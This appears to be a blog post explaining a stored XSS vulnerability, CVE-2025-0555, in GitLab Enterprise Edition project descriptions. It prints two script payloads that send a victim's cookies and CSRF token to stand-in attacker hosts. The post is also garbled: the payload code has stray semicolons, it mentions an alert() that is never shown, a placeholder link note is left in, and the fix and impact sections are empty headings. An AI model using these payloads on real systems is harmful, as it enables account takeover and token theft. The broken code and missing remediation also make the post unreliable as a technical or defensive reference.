The world of cybersecurity is always on the move. In early 2025, a severe Cross-Site Scripting (XSS) vulnerability hit GitLab Enterprise Edition (GitLab-EE), tracked as CVE-2025-0555. This bug affected a wide range of versions:

17.9 up to (but not including) 17.9.1

If you’re running any of these on your server, this post is for you. I’ll break down what happened, show code snippets, and walk through how this bug can be exploited.

What is CVE-2025-0555?

At its core, CVE-2025-0555 is a stored XSS vulnerability. It happens when GitLab-EE fails to properly sanitize user-supplied input in certain fields, letting attackers inject malicious JavaScript. When a victim loads a poisoned project or page, the malicious code runs in their browser, with all their permissions.

Why does this matter?

GitLab-EE: Where Was the Flaw?

This XSS vulnerability occurred in a popular GitLab-EE feature: project descriptions. When users created or edited a project, they could give it a description, but this field was not properly sanitized on view. That means attackers could put HTML/JS code in it.

How an Attacker Might Exploit It

Suppose an attacker has access to create a new public or internal project in your company GitLab instance. They create a project with this description:

<script>
  fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

This malicious script gets stored in your GitLab database.

When anyone with the right privileges (like an admin or another engineer) visits the project’s overview page, their browser renders the description—including the script. Instantly, their cookies get sent to evil.example.com.

*Alert!* The JavaScript runs, showing XSS is possible.

You can swap out the alert() for any JS code—like stealing cookies, harvesting tokens, or performing GitLab actions via the API.

Example of Stealing a CSRF Token

<script>
  fetch('https://attacker.site/capture?token='; + 
    encodeURIComponent(document.querySelector('meta[name="csrf-token"]').content));
</script>

The victim must visit the page where the malicious input is rendered.

If your GitLab is public or many users can create projects, this bug is especially bad.

Official References

- GitLab Security Advisory for CVE-2025-0555 (Official Source)
- NIST National Vulnerability Database Entry
- HackerOne Report (if disclosed/available) *(replace with real link if available)*

How to Fix or Mitigate

Upgrade Immediately

In Simple Terms: Why It’s Dangerous

XSS bugs like CVE-2025-0555 let attackers bypass all the fancy security of your GitLab by going directly through your browser. If you’re logged in, and a script runs as you, the attackers _are you_.

Final Thoughts

This isn’t the first XSS in GitLab, and it won’t be the last. But with more teams depending on GitLab than ever, such bugs hit hard and fast. Make sure you:

Keep an eye out for suspicious behavior

Stay safe, and make sure GitLab is always up to date!

Sources

- GitLab Security Release Notes
- NVD Entry for CVE-2025-0555


*If you found this post useful, share it with your teammates, and let’s keep our DevOps secure!*

Timeline

Published on: 03/03/2025 16:15:39 UTC
Last modified on: 03/07/2025 19:37:57 UTC